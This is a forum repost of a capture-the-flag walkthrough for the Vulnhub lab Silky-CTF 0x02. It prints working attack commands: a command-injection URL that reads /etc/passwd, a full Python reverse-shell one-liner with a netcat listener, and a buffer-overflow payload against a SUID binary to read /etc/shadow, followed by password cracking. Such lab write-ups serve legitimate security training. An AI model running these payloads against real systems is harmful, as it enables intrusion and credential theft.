• We just launched and are currently in beta. Join us as we build and grow the community.

Silky-CTF: 0x02 Vulhub Walkthrough

stefanstojanov

Fan Subber
Divine
S Rep
0
0
0
Rep
0
S Vouches
0
0
0
Vouches
0
Posts
75
Likes
105
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Today we will be solving a boot2root lab from Vulnhub called SILKY-CTF: 0x02. This lab is a good way to keep your penetration testing skills on point while getting some variety.

Download it from HERE

Level: Easy-Intermediate

Task: Boot to Root (flag.txt)

Penetration Methodologies

Scanning

  • Netdiscover
  • Nmap

Enumeration

  • Directory Scanning using DIRB
  • Giving Credentials For Admin Login

Exploitation

  • Exploiting Command Injection Vulnerability
  • Fuzzing to exploit LFI Vulnerability
  • Reading /etc/passwd file
  • Getting a reverse connection using Python Reverse Shell
  • Spawning a TTY Shell

Privilege Escalation

  • Getting SUID File
  • Exploiting Buffer Overflow Vulnerability using Bad Chars and Python Script
  • Decoding Hashes using John

Capturing the flag

Walkthrough

Network Scanning

Let’s start by scanning the network for targets using Netdiscover.

Code:
netdiscover

1.png


We found target IP Address 192.168.1.23. Let’s begin with basic port scanning with NMAP

Code:
nmap -A -sV 192.168.0.23

2.png


Enumeration

NMAP scanning result wasn’t much use to us. So, we thought of executing Directory Brute force in order to enumerate the machine further. This gave us a directory “admin.php”. This seems quite interesting.

Code:
dirb http://192.168.0.23/

3.png


After browsing the directory on the browser, it turned out to be Admin Login Panel. This might be useful to follow up.

4.png


We Clicked on Login and Got a Login form to give Admin’s Username & Password. We tried different methods to access the Admin Panel but were shutdown.

5.png


We thought of logging in with random credentials.

6.png


Noticing the error was in the German Language. That’s Different!!

7.png


Exploitation

After spending a few time looking for a way. It clearly strikes to check LFI in the URL as shown in the image. We have successfully executed the ls command which means it is vulnerable to command injection.

8.png


To confirm the LFI, we did some Fuzzing and found the /etc/passwd file.

Code:
192.168.0.23/admin.php?username=%0A/bin/cat/etc/passwd

9.png


Moving on, we looked for a Flag.txt in the Silky home directory.

Code:
192.168.0.23/admin.php?username=%0A/bin/cat/home/silky/flag.txt

10.png


It’s time to execute a Python Reverse Shell to get a reverse connection. But before executing the shell establish a Netcat listener on your machine. Given below is the Python reverse shell we have used in the URL to obtain a reverse connection on our Netcat listener.

Code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.23",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

11.png


Oh Yeah!! We got the reverse shell on our Netcat listener, but it is not a proper shell. We will spawn this tty shell using python.

Code:
nc -lvp 4444
python -c 'import pty;pty.spawn("/bin/bash")'

12.png


While enumerating the directories of the machine, we found a SUID file cat_shadow. This might come in handy. Let’s see.

Code:
cd /home/silky
ls -alh

13.png


On checking what this file actually does by executing it. We noticed it’s trying to read the shadow file but on the other hand we got permission denied.

Code:
./cat_shadow
./cat_shadow silky

14.png


We clearly knew we need to send that HEX value since it seemed it is vulnerable to Buffer Overflow Vulnerability.

Code:
./cat_shadow $(python -c 'print "A"*100')

15.png


After some trials, we wrote a simple python script to write 64 bad characters of “A” and then adds the value of “0x496c5962” in little-endian format and provide the result as input to the “cat_shadow” file and was able to read the “/etc/shadow” file.

Code:
./cat_shadow $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')

16.png


Now we have simply copied the hashes in a file on our Kali Linux and Fired UP!! John to decode the hashes. After some time, we got the password for root. I guess there is only one thing left to do is to read our Final Flag.

17.png


We logged in to Root User using the found credentials and easily got our way to the Final Flag.

18.png


Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing his 3 years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here
 

442,401

317,942

317,951

Top